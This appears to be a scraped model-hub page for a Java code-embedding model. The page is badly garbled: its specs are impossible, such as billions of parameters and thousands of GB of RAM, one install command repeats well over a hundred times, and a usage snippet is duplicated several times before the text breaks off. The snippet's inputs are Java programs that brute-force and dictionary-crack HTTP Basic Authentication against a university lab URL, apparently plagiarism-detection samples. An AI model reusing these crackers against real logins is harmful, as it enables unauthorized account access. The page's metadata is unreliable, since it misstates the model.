SOCO-Java-CodeBERT-ST

1
by
buelfhood
Embedding Model
OTHER
1703.07737B params
New
0 downloads
Early-stage
Edge AI:
Mobile
Laptop
Server
3807GB+ RAM
Mobile
Laptop
Server
Quick Summary

AI model with specialized capabilities.

Device Compatibility

Mobile
4-6GB RAM
Laptop
16GB RAM
Server
GPU
Minimum Recommended
1587GB+ RAM

Code Examples

Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n      System.out.println("Cracking started at: " + cal1.getTime().toString());\n      String password = bruteForce1.crackPassword(args[1]);\n      if(password != null)\n        System.out.println("\\nPassword is: "+password);\n      else\n        System.out.println("\\nPassword could not  retrieved!");\n      cal2 = Calendar.getInstance();\n      System.out.println("Cracking finished at: " + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());\n      System.out.println("Total Time taken  crack: " + (d3.getTime())/1000 + " sec");\n      System.out.println("Total attempts : "  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n    }\n  }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERT-ST")
# Run inference
sentences = [
    '\nimport java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary\n{\n   private String myUsername = "";\n   private String myPassword = "";\n   private String urlToCrack = "http://sec-crack.cs.rmit.edu./SEC/2";\n\n\n   public static void main (String args[])\n   {\n      Dictionary d = new Dictionary();\n   }\n\n   public Dictionary()\n   {\n      generatePassword();\n   }\n\n   \n\n   public void generatePassword()\n   {\n      try\n      {\n         BufferedReader  = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n         \n         {\n            myPassword = bf.readLine();\n            crackPassword(myPassword);\n         } while (myPassword != null);\n      }\n      catch(IOException e)\n      {    }\n   }\n\n\n  \n\n  public void crackPassword(String passwordToCrack)\n  {\n     String data, dataToEncode, encodedData;\n\n     try\n     {\n         URL url = new URL (urlToCrack);\n\n         \n\n         dataToEncode = myUsername + ":" + passwordToCrack;\n\n         \n\n         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());\n\n         URLConnection urlCon = url.openConnection();\n         urlCon.setRequestProperty  ("Authorization", " " + encodedData);\n\n         InputStream is = (InputStream)urlCon.getInputStream();\n         InputStreamReader isr = new InputStreamReader(is);\n         BufferedReader bf  = new BufferedReader (isr);\n\n          \n          {\n             data = bf.readLine();\n             System.out.println(data);\n             displayPassword(passwordToCrack);\n         } while (data != null);\n      }\n      catch (IOException e)\n      {   }\n   }\n\n\n   public void displayPassword(String foundPassword)\n   {\n      System.out.println("\\nThe cracked password is : " + foundPassword);\n      System.exit(0);\n   }\n}\n\n\n',
    '\nimport java.io.*;\n\npublic class PasswordFile {\n    \n    private String strFilepath;\n    private String strCurrWord;\n    private File fWordFile;\n    private BufferedReader in;\n    \n    \n    public PasswordFile(String filepath) {\n        strFilepath = filepath;\n        try {\n            fWordFile = new File(strFilepath);\n            in = new BufferedReader(new FileReader(fWordFile));\n        }\n        catch(Exception e)\n        {\n            System.out.println("Could not open file " + strFilepath);\n        }\n    }\n    \n    String getPassword() {\n        return strCurrWord;\n    }\n    \n    String getNextPassword() {\n        try {\n            strCurrWord = in.readLine();\n            \n            \n            \n        }\n        catch (Exception e)\n        {\n            \n            return null;\n        }\n                \n        return strCurrWord;\n    }\n    \n}\n',
    '\n\n\nimport java.misc.BASE64Encoder;\nimport java.misc.BASE64Decoder;\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\npublic class BruteForce {\n  \n  static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();\n  \n  private int indices[] = {0,0,0};\n  \n  private String url = null;\n\n  \n  public BruteForce(String url) {\n    this.url = url;\n\n  }\n  \n  private int attempts = 0;\n  private boolean stopGen = false;\n  \n  public String getNextPassword(){\n    String nextPassword = "";\n    for(int i = 0; i <indices.length ; i++){\n      if(indices[indices.length -1 ] == passwordDataSet.length)\n        return null;\n      if(indices[i] == passwordDataSet.length ){\n        indices[i] = 0;\n        indices[i+1]++;\n      }\n      nextPassword = passwordDataSet[indices[i]]+nextPassword;\n\n      if(i == 0)\n        indices[0]++;\n\n    }\n    return nextPassword;\n  }\n  \n  public void setIndices(int size){\n    this.indices = new int[size];\n    for(int i = 0; i < size; i++)\n      this.indices[i] = 0;\n  }\n  public void setPasswordDataSet(String newDataSet){\n    this.passwordDataSet = newDataSet.toCharArray();\n  }\n  \n  public String crackPassword(String user) throws IOException, MalformedURLException{\n    URL url = null;\n    URLConnection urlConnection = null;\n    String outcome = null;\n    String  authorization = null;\n    String password = null;\n    BASE64Encoder b64enc = new BASE64Encoder();\n    InputStream content = null;\n    BufferedReader in = null;\n    String line;\n          int i = 0;\n    while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){\n      url = new URL(this.url);\n      urlConnection = url.openConnection();\n      urlConnection.setDoInput(true);\n      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");\n      urlConnection.setRequestProperty("Host", url.getHost());\n      password = getNextPassword();\n      if(password == null)\n        return null;\n      System.out.print(password);\n      authorization = user + ":" + password;\n\n\n      urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null); \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n          System.out.print("\\b \\b");\n      else\n        System.out.print("\\b\\b\\b.");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n    return this.attempts;\n  }\n  public static void main (String[] args) {\n    if(args.length != 2){\n      System.out.println("usage: java attacks.BruteForce <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n    try{\n      Calendar 